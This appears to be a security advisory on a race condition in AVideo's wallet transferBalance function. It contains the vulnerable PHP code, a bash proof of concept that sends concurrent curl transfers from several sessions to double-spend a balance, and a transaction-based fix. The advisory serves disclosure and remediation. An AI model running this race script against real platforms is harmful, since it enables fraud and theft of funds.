AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;

// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
    return false;
}

// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();

// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40

public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
    global $global;
    
    // ... existing auth and validation checks ...
    
    $amount = floatval($amount);
    if ($amount <= 0) {
        return false;
    }

    // Use a database transaction with row-level locking
    $global['mysqli']->autocommit(false);
    $global['mysqli']->begin_transaction();
    
    try {
        // Lock sender row and read balance atomically
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $fromUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $senderRow = $result->fetch_assoc();
        $stmt->close();
        
        if (empty($senderRow)) {
            $global['mysqli']->rollback();
            return false;
        }
        
        $senderBalance = floatval($senderRow['balance']);
        $senderNewBalance = $senderBalance - $amount;
        
        if ($senderNewBalance < 0) {
            $global['mysqli']->rollback();
            return false;
        }
        
        // Atomic deduction
        $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
        $stmt->execute();
        
        if ($stmt->affected_rows === 0) {
            $global['mysqli']->rollback();
            $stmt->close();
            return false;
        }
        $stmt->close();
        
        // Credit receiver (also locked)
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $toUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $receiverRow = $result->fetch_assoc();
        $stmt->close();
        
        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;
        $sql = "UPDATE wallet SET balance = ? WHERE id = ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
        $stmt->execute();
        $stmt->close();
        
        $global['mysqli']->commit();
        
        // ... log entries ...
        
    } catch (Exception $e) {
        $global['mysqli']->rollback();
        return false;
    } finally {
        $global['mysqli']->autocommit(true);
    }
}

public static function validation($word)
{
    // ... existing checks ...
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if ($validation) {
        unset($_SESSION["palavra"]); // Consume the captcha token
    }
    return $validation;
}